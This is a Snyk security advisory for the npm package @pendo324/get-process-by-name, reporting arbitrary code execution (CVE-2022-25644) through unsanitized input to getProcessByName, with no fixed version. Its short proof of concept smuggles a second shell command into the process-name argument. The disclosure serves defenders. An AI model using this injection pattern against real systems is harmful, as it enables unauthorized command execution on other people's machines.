Arbitrary Code Execution Affecting @pendo324/get-process-by-name package, versions *


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.36% (57th percentile)

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  • Snyk IDSNYK-JS-PENDO324GETPROCESSBYNAME-2419094
  • published28 Aug 2022
  • disclosed7 Mar 2022
  • creditFeng Xiao, Zhongfu Su

Introduced: 7 Mar 2022

CVE-2022-25644  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for @pendo324/get-process-by-name.

Overview

@pendo324/get-process-by-name is a Returns a list of processes that match a process name

Affected versions of this package are vulnerable to Arbitrary Code Execution due to improper sanitization of getProcessByName function.

PoC

const { getProcessByName } = require('@pendo324/get-process-by-name');
getProcessByName("python\" && echo \"1\"> rce.txt # "")

References

CVSS Base Scores

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